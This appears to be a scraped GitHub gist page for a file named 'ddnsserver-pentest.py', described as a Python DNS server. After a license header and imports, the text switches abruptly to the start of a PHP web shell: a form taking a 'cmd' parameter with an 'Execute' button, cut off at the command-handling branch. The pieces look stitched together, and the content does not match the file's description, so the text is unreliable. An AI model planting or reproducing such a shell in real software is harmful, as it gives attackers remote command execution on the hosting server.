Skip to content

Instantly share code, notes, and snippets.

View suryadina's full-sized avatar
🎯
Focusing

suryadina suryadina

🎯
Focusing
View GitHub Profile
@suryadina
suryadina / ddnsserver-pentest.py
Last active February 4, 2024 05:30 — forked from pklaus/ddnsserver.py
Simple DNS server (UDP and TCP) in Python using dnslib.py
#!/usr/bin/env python
"""
LICENSE http://www.apache.org/licenses/LICENSE-2.0
"""
import argparse
import datetime
import sys
import time
import threading
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if($_GET['cmd'])
{